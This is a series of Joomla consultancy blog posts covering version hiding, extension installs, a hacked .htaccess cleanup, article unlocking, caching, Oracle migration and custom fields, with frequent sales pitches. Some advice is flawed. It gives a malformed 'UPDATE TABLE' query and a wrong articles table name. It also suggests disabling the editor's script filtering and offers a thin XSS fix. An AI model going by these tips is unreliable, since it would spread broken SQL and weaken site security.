  • Miscommunication: In many cases, companies outsource to other development companies in non-English (or poor-English) speaking countries. This usually results in miscommunication issues between the involved parties over the outsourced project, which may result to frustration on both sides, and a job that is not well done.
  • Incomplete requirements: Most companies that accept outsourced work do not bother to do some good requirements gathering for the project, this is because they don’t really care about the project, nor the company paying for the project. They only care about the money!

  • Low quality: Most companies outsourcing work on their Joomla websites, get some very low quality work, including broken functionality, security issues, etc…

As for the advantages of outsourcing your Joomla website, they include:

  • Fast development: Usually the companies that the work is outsourced to are experts in every Joomla area, and thus the development will be much faster.
  • Low cost development: Because the development is fast (see above), and the work is usually outsourced to developing countries, the cost is of implementing a functionality is relatively low.

Now, as you can see from above, the advantages do not erase the disadvantages. The disadvantages are serious: a compan doesn’t want to spend a lot of time explaining something to some developers overseas who may or may not understand English and who may or may not understand the requirements, and who or may not care about the requirements.

So what’s the solution? The solution is to find a company where the developers speak perfect English, where the developers actually care about your Joomla website and your business, where the means of communication are traditional (including face-to-face or phone). A company that is serious about understanding your requirements.

So should you outsource your Joomla website? If you feel that the company understands your needs and that is not only there for quick money, then go ahead, outsourcing will improve your business. If, on the other hand, you feel that you’re not getting immediate and understandable responses about your queries from a company, then stay clear!

At itoctopus, we pride ourselves that we fall into the first category:

  • We treat the Joomla website as if it is ours!
  • We are experts in Joomla and Joomla security!
  • We keep asking questions about the project and the business until we understand what the full requirements are!
  • We get paid when the job is done, according to the specified requirements. So, we just don’t get your money and disappear, we only get your money when you think that we’ve delivered value to you!
  • We speak perfect English, and we understand all the accents, from the Texan to the Canadian accent, and everything in between!
  • We always keep to our promises!

If you have some Joomla project that you want to outsource, then check our very reasonable fees, and then contact us!

How to Hide the Joomla Version?

In our small post on how to get the Joomla version, we mentioned that some website developers hide the Joomla version for security reasons. So what are these “security reasons” and how do they hide it?

The main reason why some website developers hide the Joomla version is because there are malicious scripts running on the Internet that have a single goal of finding which type of CMS is powering each and every website. By knowing the type of the CMS that a certain website is running, the attacker will be able to know what are the vulnerabilities associated with this website, and then start performing his attacks accordingly. For example, if an attacker finds out that a certain website is running Joomla version 1.0, he will be able to immediately know what are the vulnerabilities of this website (they are listed by the Joomla community), and then attack it based on its vulnerabilities.

Now how can the Joomla version be hidden?

Well, you have to have some basic programming experience (if you don’t, then please contact us, and we’ll hide the Joomla version for you), and there are two ways to do it:

  1. Changing a core Joomla file

    Open the file /yourwebsiteroot/libraries/joomla/document/html/renderer/head.php . Search for the line:

    $strHtml .= $tab.'<meta name="generator" content="'.$document->getGenerator().'" />'.$lnEnd;

    Change it to:

    //$strHtml .= $tab.'<meta name="generator" content="'.$document->getGenerator().'" />'.$lnEnd;

  2. Change the main template file

    Open the file: /yourwebsiteroot/templates/yourtempaltename/index.php

    Add the below code immediately before this line <jdoc:include type="head" />:

    $this->setGenerator(null);

    or

    $this->setGenerator("");

    or

    $document = &JFactory::getDocument();
    $document->setGenerator('');

Both methods have advantages and disadvantages. If you follow the first method, then you are changing a core file, which is not recommended, as you will have problems if you upgrade your Joomla version. On the flip side, if you follow the first method, then you won’t have to do any extra work if you change the template. If you follow the second method then you will be safe as you won’t touch the core files, however, you will have to redo the above in case you decide you want to change/upgrade the template.

How to Know Your Joomla Version

When we receive a support call from a new client, one of the questions that we usually ask is “Which version of Joomla are you using?” In many cases, the client doesn’t know the version, so we check his Joomla website to find out which version he’s using ourselves.

What we do is that we go to his website and then right click on the page, and then click on “View Page Source” (in Firefox). One of the lines (at the beginning of the source file) starts with <meta name="generator".../>

Here’s the complete line from one of our client’s website:

<meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />

The line above shows that our client is using Joomla version 1.5, which means that it’s probably time to upgrade his website. In case you find out that you’re using an old version of Joomla and that you need to upgrade, then we are here to help. Just contact us and we’ll help you upgrade your website to the latest Joomla version!

Notes:

1. In some rare cases, the line above starting with “meta name…” is not present in the code (this is sometimes hidden by whoever created the website for security reasons), so we can’t just know the version by visiting the website, so what we do is ask our client to have FTP access to the website, and then we examine the files to see which version of Joomla he is using.

2. Another way to know which Joomla version the client is running is by printing out the global $_VERSION variable. However, this will not work on some Joomla versions.

Why You Can’t Install an Extension on Joomla

We regularly have clients coming to us and telling us that they are unable to install an extension on their Joomla website. An extension, as most of you would probably know, is any plugin, module, or component. So imagine if you are about to install a simple plugin to display the current temperature on your website and you are greeted with a message such as “could not create directory” or “warning! failed to move file” – in other words, Joomla was unable to install your plugin. What would you do?

According to our experience, here are the reasons why you’re not able to install an extension on your Joomla website:

Unable to write to the /tmp directory

In PHP (which is the programming language that Joomla is written with), usually when you upload a file (unless you change the php.ini file), it is uploaded to the /tmp directory. Now if Apache can’t upload to this directory (due to permission problems) then your extension won’t be uploaded, and thus won’t be installed. The solution to this is to create the /tmp folder and ensure that Apache and your account both have write permissions on this folder.

Zip library not installed on PHP

All the Joomla extensions are zipped when they are in the installable format. At one point, when you are installing an extension, Joomla needs to unzip it in order to move it to the appropriate folder(s). If the zip library is not installed, then Joomla won’t be able to install the extension. The solution to this problem is to contact your system administrator to install the zip library on PHP (note that Apache needs to be restarted once the zip library is installed).

No directory permissions

Once a file is uploaded to the /tmp directory and after it’s unzipped, Joomla then moves the unzipped directory(ies) to one or more folders (for example, a extension can consist of a module and a component, so Joomla will move one folder to the modules directory under the root of your website, and another one to the components1 directory, also located under the root of your website). If your user cannot write to one or more of the following directories: plugins, modules, components then the install will most likely fail (we’re saying most likely because it may be possible that you’re able to write to the plugins directory and your extension is just a plugin). The solution to this problem is to give the appropriate permissions to these directories.

Note that it’s not advisable at all to install a Joomla extension manually, in other words, unzipping it manually and placing the unzipped folders into the corresponding directories, this is because the installation package contains a file which has all the information about the plugin, and that file is loaded into the Joomla database when you install the extension the normal way. Anyway, in most cases, doing the process manually will result in a broken extension (e.g. the extension won’t work), unless you do the database updates manually.

If you are still having problems installing an extension, then please contact us, we’ll only charge you for 1 hour, and our rates are very reasonable.

1 Note that most extensions install their directories under the root of your website (such as components) and under the administrator’s folder (such as administrator/components)

Why Is Joomla So Popular?

At itoctopus, we receive a lot of Joomla jobs, a lot of more jobs than other CMS’s, which means that Joomla is very popular. But why is Joomla that popular? We think there are many reasons for Joomla’s popularity, including:

  • It is very easy to build a basic website with Joomla that anyone with little computer skills can maintain and update, including the website owner.
  • Joomla serves the basic need of most small businesses, which is to have a professional online presence, fast!
  • Joomla has a lot of templates. There are so many templates for each and every version of Joomla that one can be easily lost when choosing a template for his website.
  • Joomla has a huge community supporting it. One of the biggest CMS communities is Joomla’s community: whenever anyone has a question about anything in Joomla, there are many experts ready to answer him.
  • Joomla has a lot of extensions to do nearly anything. There is always an extension to satisfy any need: From Facebook integration, to creating your own online store, to sending newsletters, to blogging, etc…
  • It is easy to build custom features. For example, in the unlikely event where someone wants a feature that doesn’t already exist (either as a core Joomla feature or as an extension), he can get a company to develop that feature for him. (itoctopus has developed many Joomla extensions so far, if you want to develop a custom Joomla extension, then please contact us. Our fees are very reasonable!).
  • Alternatives to Joomla are not that great. Even though WordPress is an excellent CMS, it still lacks a lot of features that Joomla users have, the most important one is the way the templates work on Joomla (the way you create menus, the way you assign content, the way you activate plugins, modules, etc…)
  • Joomla’s main marketing tool is word of mouth (the best marketing tool). When someone creates his website using Joomla, and discovers how easy it is to do things, then he suggests it to his friends when they want to develop websites for their businesses themselves.
  • Joomla is stable. Joomla is a very stable CMS. It is very reliable. Usually stability issues in Joomla stem from the use of non-core extensions that are badly coded.
  • Joomla is secure. Again, security issues stem not from Joomla’s core itself, but from third party extensions installed by the website owner.
  • Joomla is here to stay! Joomla is maintained by a group of very serious developers who are ready to maintain it for many years to come. These developers always create newer versions of Joomla that address security and stability issues (not to mention, of course, adding/changing features based on the community’s feedback).

Are you still wondering why Joomla is so popular?

Hacked .htaccess File on Joomla

We had a weird case today. One of our clients came to us and told us that one of his Joomla websites got hacked, and he sent us some links on his website, containing some obscene content, links to malicious websites, and of course, malicious JavaScript that will probably install a spware/adware/virus on one’s PC once he visits that link.

The first thing that we did was that we searched the database for this obscene content, we couldn’t find any. We then searched the database for the title of the link, we also couldn’t find any. Weird…

The second step was checking the template files, we wanted to see if any of these files was hacked. To our surprise, none was…

We then thought, apparently the content is not there, so it might be that there is this one malicious Joomla extension that our client installed by mistake and made this mess. We disabled all 3rd party extensions, and still that page existed, with the obscene content in it.

Our last and final step was to check the .htaccess file in the root directory of the website, maybe, just maybe, the .htaccess was hacked and the traffic was redirected somewhere else? We opened the .htaccess file and we found that many lines in this file were replaced by other malicious lines (one of those lines called a file called “functions.php” which included a lot of malicious code). To fix the problem, we did the following:

- We restored a previous version of the .htaccess file
- We changed the permissions on the .htaccess file to 644 (it was 777 before)
- We removed the malicious functions.php
- We then advised the client to upgrade to the latest version of Joomla (the client was using Joomla 1.5)

There are many reasons on why a Joomla website gets hacked, but regardless of the reason, we are always there to help, and as usual, at lightning speed! So feel free to contact us to fix your Joomla website in the unfortunate event of it being hacked.

How to Unlock a Joomla Article?

Literally every week we either receive a phone call or an email from a client telling us that one of his articles is now marked as “checked out” and is locked for editing. They tell us that they’re unable to unlock these articles to edit them. They then ask, why was the article locked in the first place?

Joomla has this not so smart functionality where someone opens an article for editing, it locks it, so that other people trying to edit the article won’t be able to. This functionality is very old (it dates back to the Mambo era) and it guarantees that no 2 people are working on the same article at the same time (which will guarantee no one is overwriting somebody else’s edits). The lock is removed once the person who started editing the article clicks on the “Close” button on the top right. Clicking on any other button won’t unlock the article, and clicking on the back button will also keep the article in locked status.

Let us now answer the question in the tile, how to unlock a Joomla article. When an article is locked, there are 3 ways to unlock it:

1- The same person who locked the article in the first place either closes the article (if it’s still open) or opens the article again, and then closes it.
2- A super administrator logs in to the Joomla administrative panel, and then click on System (or Tools, depending on the Joomla version), and then clicks on Global Checkin. This will unlock all the locked articles.
3- Someone logs in to phpMyAdmin (hopefully that someone is a technical person), and then runs the following query: “UPDATE TABLE jos_content SET checked_out = 0″. This will also unlock all locked articles. (Note: You should remove the quotes around the query before trying to run it).

The last option should be the very last resort, and should be done very carefully. In case you need help unlocking a Joomla article, then feel free to contact us.

Is Joomla a Good Choice?

Sometimes, we have some business owners or even IT Managers in non IT companies (such as law firms) asking us about Joomla. The first and most important question they ask us “Is Joomla a good choice?”

Our answer is, as always, it depends.

We tell our customers that Joomla is a good choice if:

  • You’re not running a huge business on your website.
  • You don’t have a lot of visitors accessing your website.
  • Your website is to promote your business online, but is not your business.
  • You (or someone working for your) has some basic computer and Internet skills to maintain the website (creating/updating new articles, installing/uninstalling extensions, updating Joomla, etc…). This is because Joomla can be hard to learn.

In the above cases, Joomla is a good choice because:

  • It is easy to update any article and add any functionality (provided an extension for that functionality exists) if you have some basic Internet skills.
  • It will definitely promote your business. All of our Joomla customers have an offline business complemented by their Joomla website. For example, we have a lady that offers monthly subscription to healthy meals (for those professionals who are unable to cook healthy food for themselves) selling these subscriptions online. In this (and many other cases) Joomla is actually great for ecommerce.
  • Joomla websites can handle an average amount of visitors/day. Which is what most businesses need.

Joomla is not a good choice if:

  • You have zero Internet knowledge and you want to update your website yourself.
  • You expect to have a huge number of unique visitors (30k+) accessing your website daily.
  • You want a lot of custom (non standard) functionality on your website.
  • You’re using the website solely for blogging (better use WordPress in this case)
  • You want some change done and you want it now, and you don’t want to pay for it (However, if you’re willing to shell some money for that change, there are several companies that will help you do this, including itoctopus).
  • You think that you can just create your website and forget about it. This is very important, because most forgotten websites get hacked, and it’s very hard to get a website back to Google’s indexes if it got hacked.

Joomla in Qatar

We were in Qatar a couple of weeks working on a huge Joomla website. The website was for a portal for a school (unfortunately the agreement states that we cannot mention the school name on our website). This is the second largest website we’ve done in Qatar, the first one was a non-Joomla website we’ve done for a major Qatari bank.

The project consisted of the following:

- Installation of Joomla
- Integration of the design that was already created by the design team in Qatar (Note that the design team does not work for itoctopus)
- Integration of Moodle in the Joomla website
- RSVP (Répondez S’il Vous Plaît) extension creation, where students RSVP to certain events
- E-com integration to accept credit card payments from parents for different events/activities (the e-com was integrated with the RSVP)
- PCI security compliance, which included ensuring that the e-com database is separate, that both transactions and credit card numbers are secure, and that all the security leaks are taken care of
- Integration of a Web Service provided by the Qatar Meteorology Department to list the weather warnings on the website
- Creation of many extensions to accommodate the different services that the school wanted to support

It took 2 of our people 2 months to finish the job, and we’re happy to say that the school board was really happy with the results, and the website is used extensively by the students. We are also happy that we will work with the school again on a phase II of the project which consists mainly of:

- Providing sub-blogs for students (We might use WordPress with Joomla to provide this functionality): This means that students will be able to have their own blogs that are hosted on the school’s website. For example, let’ say that a student’s name is “ABC”, then his blog will be abc.blogs.websitename.com.qa . The blogs will be used by students to share their experience about their classes. The blogs will be secured and a mechanism will be used to prevent abuse.
- Facebook integration with the website: Including unifying the login, commenting on pages/blogs, sharing the school’s events on Facebook (so when the school creates a new event it will be automatically published on Facebook), etc…
- Ranking professors: Anonymous ranking of the professors will be provided to registered students.

Some things to say

- We were impressed by the country: It is really booming, and the infrastructure, when it comes to technology, is new and efficient.
- The people there are really great: They are very intelligent, very helpful, and really generous (we were invited to breakfast, lunch, and dinner every day – no kidding, and lately we were invited to Iftars and Souhours since it’s Ramadan).
- We love the weather: Yes it’s hot, it’s very very hot. But if you live in Canada you start to appreciate very hot weathers.
- Companies love Joomla in Qatar: Yes they do, we were able to establish many contacts there because they were interested in creating a Joomla website for their business.
- Development standards are really high: We remarked that both the school and the bank had some really high standards when it comes to development: They were very exigent about the documentation, the security, the coding standards, the compliance with the W3C for HTML and the compliance with PCI for security, etc…
- We did not want to leave: Yes, we really wanted to stay there.

The first time we undertook a project in Qatar was back in October of 2010 (less then a year ago), and we started the school’s project in June of 2011. We think that there’s a great potential there, and we will continue to seek opportunities in the Qatari market. We even have a Middle Eastern number that our Qatari clients can call to, which is: +961 71 90 23 99.

Can Joomla Work on Oracle?

We have had a few jobs to make Joomla work with Oracle instead of MySQL, and we can say for sure that it’s not a job for beginners. Yes, Joomla can work with Oracle as a database, but the problem is that it needs modification in its core for it to be able to do so. But why is that? Why isn’t the process easier?

The reason why the process is hard and is not about flipping a switch is because Joomla was first designed with MySQL, and only MySQL in mind. Of course, MySQL complies with nearly all the database standards out there, but Oracle, from our experience, doesn’t. Oracle is a much more complicated server, and does not usually install, nor work, in a few seconds. Usually, developers are “thrilled” when they are able to connect to an Oracle database, and “exalted” when they’re able to add/retrieve information from it for the first time. When was the last time a developer was that happy that he connected to a MySQL database? Yes, we figured so!

Let’s move into the technicals on why Joomla cannot run on Oracle by default:

  • The database and table creation script does not work without modification.
  • The connection and the database class are written to connect to MySQL and not to Oracle (so they all use MySQL functions).
  • Some of the extensions use native MySQL functions directly, instead of connecting using the Joomla Database interface (class).

Now here’s how we make Joomla work on Oracle:

  • We fix the SQL installation script to accommodate the Oracle database in case of a new installation. In case of an existing installation, we export all the database, as well as its data to a SQL file, and then we modify the SQL file (using find and replace) to make it work with an Oracle database.
  • We load the modified installation file or the modified exported SQL file into the Oracle database.
  • We then create a copy of the Joomla database class, and then we modify all the functions to work with Oracle instead of MySQL.
  • We ensure that the Oracle drivers are properly installed and loaded by the php.ini file.
  • We rename the original MySQL database (you will know in the next step why) to something like database_name_old.
  • We switch to the new database class and fully test the website to see if some extensions are not working. If an extension ceases to work then it is a sign that this extensions is calling the original MySQL database (which no longer exists because it was renamed) directly.

The process usually takes us around 3 days (a day consists of 8 hours – check our fees to see what the total cost usually is). It may take more depending on the number of extensions installed. If you want to move your Joomla database to Oracle or you need to have a fresh Joomla installation with Oracle as a database, then just contact us, we have helped others before achieve this goal and we are confident we can help you!

How Many Users Can Joomla Handle?

A question that many of our clients ask is the following: “How many users can my Joomla website handle?”

Our answer is: The number of users that your Joomla website can handle depends on the following:

- The server you’re hosting your website with.
- The number of extensions you have activated on your website.

Joomla is a very heavy CMS, much heavier than WordPress. We’ve seen Joomla websites crash when being visited by just 10 visitors simultaneously. Even worse, we’ve soon Joomla websites crash when people refresh the page multiple times. These websites obviously suffer from being hosted on a very crowded server, and from a myriad of unnecessary extensions that are activated.

We’ve seen other Joomla websites receive many thousand visitors at the same time, and yet respond immediately. These websites are usually blessed with being hosted on a dedicated server. Additionally, these websites are usually managed by at least one professional who only activates the necessary extensions, who constantly monitors the load on the server (and makes some tweaks on the server to enhance the speed of the website), who makes use of caching in the right places, and who analyzes bottlenecks on the website and takes prompt actions to neutralize these bottlenecks (such actions may include hiring some Joomla experts to fix the code).

We think that any Joomla website should handle at least 10,000 visitors/day without a hitch (Note: a Joomla website should handle 50 concurrent users), even on a shared hosting platform. If you have a Joomla website that is only able to accept a few hundred visitors/day before crashing/not responding, then probably it’s time to contact us. Here’s how we’ll help:

- We’ll identify and fix the problematic extensions. Problematic extensions are those extensions that use a lot of resources (especially database resources) because of inefficient queries.
- We’ll tweak caching on your website. Caching is a two edged sword. The website can risk being not up-to-date if it’s used heavily, and can risk being slow if it’s not used at all.
- We’ll check if your hosting provided is actually good. Often the problem lies in your hosting provided. Some servers have literally hundreds of websites installed on them, and it only takes one bad apple (website) to ruin the whole bushel (server).

Joomla: Where Is It?

In this post, we have decided to answer 3 common questions that our clients ask us about the location of files/data in Joomla. We hope that this post will help everyone!

Where is php.ini in Joomla?

php.ini is a PHP system file, and has nothing to do with your Joomla website. php.ini is usually located somewhere on the server outside of your web directory. It might be located in places such as: /web/vhosts/ or /etc/. Sometimes, the php.ini file is located under the Apache folder, or under c:\Windows\System32 on a Windows server. Now if you want to override some setting in the original php.ini file, you may create a copy of the original php.ini file (you can ask your hosting provider to do this if you are on a shared hosting) and then modify its contents, and then put the modified copy under the root of your Joomla website. Note that this won’t work if your hosting provided disabled this “functionality”.

Where is configuration.php in Joomla?

configuration.php is located under the root folder of your Joomla website. For example: /web/vhosts/yourdomain.com/configuration.php.

Where are the articles stored in Joomla?

Joomla articles are not stored as physical files on the server. Instead, they are stored in the database in the table jos_articles.

Acunetix and Joomla

Most of our jobs dealing with securing a Joomla website by removing all potential security threats have to deal with Acunetix. Usually, our customers come to us with either an Acunetix report or ask us to run an Acunetix scan on their Joomla website.

Typically, here are the couple of critical vulnerabilities that we find:

- XSS (Cross-site scripting) vulnerabilities: We solve these by removing all JavaScript code from the user’s input.
- SQL Injection vulnerabilities: Escaping is, in most cases, the solution. Usually SQL injection vulnerabilities exist in non-core Joomla extensions.

It takes us anywhere between 2 to 3 days to finish the job (cleaning all the extensions and fixing the code). For our small business customers, we follow up with them every quarter to ensure that they’re website is still bullet proof.

For those of you who want to know, the common reasons why our customers run these security scans on their websites are:

- They (our customers) want to become PCI compliant, so it’s a pre-PCI compliance test.
- They run a mission critical website that should not be hacked.
- They run a government website where there are standards that must be met when it comes to security.

When to Clear the Cache in Joomla?

As we all know, there’s a caching functionality on Joomla that is activated on most websites. This caching speeds up the website, while ensuring that the freshness of the content is not affected, because Joomla’s default caching only caches php code, and not the content itself.

A question on many Joomla website owners is “When should I clear the cache of my website?” (Note: It is “clear the cache” not “clean the cache”, you’re not cleaning anything, you’re just clearing/removing some files).

The answer is simple, you should clear the cache when you are updating/installing/removing any extension on your website. This is because you need to refresh the pages once you do this. Clearing the cache regularly, even if you haven’t changed anything on your website, is also recommended (there might be some subtle changes that you did and that you forgot they exist).

Not clearing the cache is a very common reason for a problem that our clients encounter quite often which is: “My Joomla changes are not showing!“.

Tips and warnings

- It is best to clear the cache at a time where your website receives the smallest number of visitors (such as 2 AM), especially if your website has a lot of cached files (over a 1,000), this is because the operation can be heavy on the server hosting your website (in other words, your website may be slower while you’re clearing the cache).

- Clearing your cache means that Joomla has to recreate the cache from scratch, which means that each page will take longer to load the first time it is visited after the cache. While you won’t feel this if your website is small, you will definitely notice it if you run a very big website.

How to Add Javascript to Joomla Articles

Note: This post applies to Joomla 1.5. If you have Joomla 1.6, then please contact us, as the procedure is different.

Nearly every day we are contacted by one or more of our customers who tell us the following:

I have tried to add Javascript code to my website, but it doesn’t work. It seems that Joomla strips or escapes the Javascript code when I save it. Even when I go to HTML mode in the editor, it’s still doesn’t work. Is there a way to add Javascript code to my website without paying you any money?

Here’s our answer:

Fortunately for you and unfortunately for us, there is a way to add Javascript to your articles without using our services. All you need to do is the following: Go to Site->User Manager. Click on your username, and then under Parameters on the right side pane, choose “No Editor” from the “User Editor” field. This will ensure that the HTML will neither strip nor escape your Javascript code.

Now that you know how to fix it, let us tell you why this happens. It happens because the editor tries to prevent users from creating content that may have malicious content. If you ask us, we think that by default all administrators should be allowed to add Javascript code to their websites without a problem.

How to Notify Subscribers When a New Article Is Posted on a Joomla Website?

While Joomla is a very poweful CMS, sometimes it feels as if it lacks some basic features. For example, many of our customers ask us what sort of settings they should change in order to automatically notify their registered users (subscribers) of a new article that is posted on their Joomla website. Our answer is “There is not such setting, but we can create it for you”. At this point our customers become mad at the Joomla developers, but at the same time, happy because we will create this feature for them.

So how do we do it?

We just modify the configuration file to include a new setting: $notify_registered_users_on_new_article, which can be 0 or 1. By default, it is assumed to be 0, which means there are no mails sent when a new article is posted. If this variable is set to 1, then we send an email to every subscriber when there is a new article posted.

Afterwards, we add “a hook” to the PHP code that saves the article in the database (on success), to check if the above flag is true, and we send an email to all the subscribers. The email usually consists of the following:

- The from part: The name of the website.
- The from email: The email address set in the general settings of the website.
- The subject of the email: Usually we set this to “Name of the website: New article posted”, or “Name of the website: Check out our latest article”
- The body of the email: The body of the email usually contains the name of the article, as well as an excerpt of that article. (Note: The body of the article usually starts with “Hi Subscriber First Name!”).

We charge 3 hours for creating the above feature for your website. Please check our excellent fees and contact us if you want us to do this work for you. As always, we’re ready and eager to serve you!

Our Joomla Emergency Services

If you stumbled across this article because you need emergency help for your Joomla website, then please contact us at our emergency number which is 514 961 2804 (for US callers) or +1 514 961 2804 (for international callers).

We pride ourselves by offering a 24/7/365 emergency hotline for our customers as well as anyone who’s having a serious problem on his Joomla website. That’s why our customers love us, because we’re happy when their websites are up and running at all times, and if there is a critical problem on their websites, we jump and fix it when they call us, even if it’s 3 AM on the east coast, on a Sunday, which happens to also be New Year’s eve.

In this article, we would like to explain what is considered to be an emergency service, what are the typical situations that people contact us for emergency, what we do to fix their problems, and how long does it take us to get their website up and running.

What do we consider as an emergency service?

For a situation to be considered as an emergency it needs to fulfill the following 2 criteria:

- The website needs to be fixed immediately.
- The call about the website is made between 6 PM EST and 8 AM EST.

So, if you call us at 2 PM Pacific Time (which is 5 PM Eastern Time), and even if it’s an emergency, we will charge you the normal fees. If you call us at 11:30 PM EST and you need to fix your website immediately, then we consider this as an emergency, and we’ll charge you double the normal rate.

What are the most common reasons people call us for our emergency services?

Here’s a list of the common reasons that people call us for:

  • Their website is completely down: The website does not open at all (either it shows a blank page or displays a PHP error). In our experience (and in the case of Joomla), this is due to one of the following:
    • They activated an extension (usually a plugin) that broke their website.
    • They mistakenly altered the configuration.php file of their Joomla website.
    • They wrongly modified the .htaccess file of their website.
  • Their website is hacked: This is usually due to an out-of-date Joomla installation, a weak extension, or some “loose” permissions on the Joomla’s core and/or template files. (Check this list of potential reasons on why a Joomla website is hacked).
  • Some of their important extensions are not working: This happens because of changes they did to these extension through the admin area, that are, unfortunately, irreversible from the admin section (one has to go to the database to revert the changes).
  • Their website is suddenly extremely slow (e.g. is not responding): We have investigated before the reasons on why a Joomla website becomes slow and what you can do to make it faster, but if this slowness happens all of a sudden, then it could be that there is a newly installed extension (that is inefficient) that is draining all the resources of the database.
  • Their website is not functioning properly: For example, links are not working (this is a sign of an SEF and/or .htaccess problem), modules are not appearing, uploads not working, images not displaying, errors are displayed in some places, etc…

As you can see from the above, there are many reasons for a Joomla website to need emergency intervention. Now the question is, what do we do?

How do we get the website up and running?

Well, the answer of course, depends on the situation. For example, in the case of an .htaccess problem, we might revert back the file to its original version (depending, of course, on the Joomla version that our client is running). The most important thing for us is to get the website up and running, as soon as possible. We take our clients’ businesses very seriously, and we never ever said to a customer “we can’t do it” or “we can’t fix your website” or “it’s just too hard for us” or “we’re sorry, but you should’ve been more careful”. We always fix the website, and again, we try our best to fix it in record speed.

How much time does it takes to fix the website?

Well, when we work under stress, we burn ourselves and work nearly at double speed (that’s why we charge the double rate), because we know that every second counts. Typically, it takes us anything between 15 minutes to 2 hours to get a broken/hacked website up and running. Note that sometimes our customers elect to get the basic functionality of their website up and running, and ask us to fix the rest of the website during normal working hours so that they will incur less fees.

How to Add a Favicon to Your Joomla Website

Everyone loves favicons, they imply professionalism, seriousness, and continuity of the website and the underlying business (Note: itoctopus still doesn’t have a favicon because we are still working on our corporate identity).

As such, a lot of our Joomla customers want to know the procedure for adding a favorite icon (aka favicon) to their website. Although we’re not designers, we can help answering this question because we’ve done it many times already, and it is very easy.

Here’s how:

  • Create a 16×16 pixel image in Photoshop (note: You can also create create a 32×32 or 48×48 pixel images – but the most common and readable format is 16×16)
  • Save the image as favicon.ico (To be able to save icon images in Photoshop, you need to install this extension). Note that nowadays the majority of browsers, such as Firefox, Chrome, and Opera can read icons that are gif images (so you save the file as gif, to “favicon.gif”, and then you rename the file to “favicon.ico”).
  • Upload the favicon.ico to the root directory of your website.
  • That’s it!

What if it doesn’t work?

  • Ensure that you’ve created the favicon.ico in the proper format (right image type and right size).
  • Ensure the following line: <link rel="shortcut icon" href="http://www.yourjoomlawebsite.com/wp-content/themes/simplefolio/images/favicon.ico" title="Favicon" /> exists under the head section of your HTML code.
  • Ensure that you’ve uploaded the favicon.ico to the right place.
  • Wait a bit, this is because some browsers, such as Firefox, cache the favorite icon for a while, so even after you change your favicon, it might take some time for your changes to appear on the browser. Try visiting the website with another browser that you don’t usually use to see if your changes worked (e.g. you can see the favorite icon).

If you’re still having problems with making your favicon.ico appear on your website, then please contact us. As always, we’ll be glad to help!

Docman Customization

We had an interesting project yesterday, which consisted of customizing Docman (a Joomla extension that allows you to distribute documents either for free or for a fee on your website) in order to accept subscriptions.

Here’s what the client wanted:

- If the document is priced at 0, then the registered member can download it for free.
- If the document is priced at an amount more than 0, then the registered member should pay for it in order to download it.
- If the document is priced at -1, then the registered member should subscribe to one of our client’s subscription plans (plan a) in order to download it.
- If the document is priced at -2, then the registered member should subscribe to another one of our client’s subscription plans (plan b) in order download it.
- etc…

Each subscription plan served for a year and after the year the registered member has to buy subscription again in order to still be able to download the documents.

Of course, Docman, in its default incarnation, only has the first two options by default, so we had to customize it. Here’s what we did:

- We added fields to the users table to reflect the registration status to each plan (for example, we have a field called plan_a which is a boolean, and is defaulted to 0, and another field which is plan_a_expiry_date, which is of type date). You can see how to add fields to the user’s form here.

- We then accommodated the different Docman files to show the appropriate buttons and do the appropriate actions depending on the status of the registered member. This was a long job, as we had to change many files in the process.

- We finally accommodated the Docman PayPal IPN component (specifically the docmanpaypal.class.php file) to the change so that it updates the status of the user (for example, set the flag plan_a to 1 and set the field plan_a_expiry_date to :DATE_ADD(CURDATE(), INTERVAL 1 YEAR))

The job took us around 2 days (or 16 hours) in order to fully finish, and we’re glad to say that our customer is happy. If you need help modifying your own version of Docman, then don’t hesitate to contact us, we’re here to help you 24/7/365, and our fees are very reasonable!

How to Retrieve the Non-Cached User Information from Joomla?

First we apologize that this post is very technical, but this is a recurring issue and we thought we’d share the solution with others that may be experiencing this problem.

The easiest way to retrieve the information of the current logged in user in Joomla is the following:

$user =& JFactory::getUser();

But there is a problem in the above code. Let’s say, for example, that the user information was updated by another thread while the user is logged in to your website (this other thread might be automated, such as a cron job, or might be someone manually updating the user information in the backend). The problem is that when an external update happens on the user, the $user object remains the same. So, if the phone number is changed by that external thread, this change is not reflected in the user object. This is because Joomla caches (in the session) all the information about the currently logged in user. Fortunately, there is an easy way to solve this problem, and it is by using the following code instead:


$user =& JFactory::getUser();
$user_id = $user->id;
$user =& JFactory::getUser($user_id);

What we do is that we first get the user (using the JFactory::getUser() with no parameters), then we get the user id of that user (the user id never changes), and then we get the user based on the user id. This way we will fool Joomla into thinking that we want some information on a specific user in the jos_users table, regardless if that user is logged in or not, which will make Joomla lookup the user in the table directly (based on his user id), and not use the cached version of the user.

How to Add New Attributes (Fields) to the User Registration Form in Joomla?

Often, we receive requests for adding new attributes (or fields) to the user registration form in Joomla. Such attributes are usually specific to our client’s industry. A very recent example is a client of ours who runs a small magazine, and wanted to add the following 2 fields: “Registered” (which is of type boolean) and “Subscription Expiry Date” (which is of type date).

The procedure consists of the following steps:

  1. Add the fields to the table jos_users in the database
  2. Update the JTableUser class to accommodate the new fields
  3. Update the form in the website’s backend

Adding the fields to the table

This is the easiest step. Just go to phpMyAdmin, select the database of your website, and click on the jos_users table (assuming you left the default “jos_” table prefix), and then click on “Structure” on the top, and then click Add the 2 fields. Let’s call the first one registered (type is tinyint(1)) and the second one subscription_expiry_date (type is date). Let’s index both fields (makes searching faster).

Update the JTableUser class

Follow the below and this step will be a breeze:

  • Open the file libraries/joomla/table/database/table/user.php.
  • Search for this line: var $params = null;
  • Add the following lines after the above line:


    var $registered = null;
    var $subscription_expiry_date = null;

Update the registration form

This is the hardest step and trust us, it shouldn’t take long. Again follow the below and you should be OK:

  • Open the file administrator/components/com_users/views/user/tmpl/form.php.
  • Search for this line:

    <tr>
    <td>
    <?php echo JText::_( 'Receive System Emails' ); ?>
    </td>
    <td>
    <?php echo $this->lists['sendEmail']; ?>
    </td>
    </tr>

  • Add the following lines after the above line:
    <tr>
    <td>
    <?php echo JText::_( 'Registered' ); ?>
    </td>
    <td>
    <?php echo $this->lists['registered']; ?>
    </td>
    </tr>
    <tr>
    <td>
    <?php echo JText::_( 'Subscription Expiry Date' ); ?>
    </td>
    <td>
    <input type="text" name="subscription_expiry_date" id="subscription_expiry_date" size="40" value="<?php echo $this->user->get('expiry_date'); ?>" />
    </td>
    </tr>
  • Open the file administrator/components/com_users/views/user/view.html.
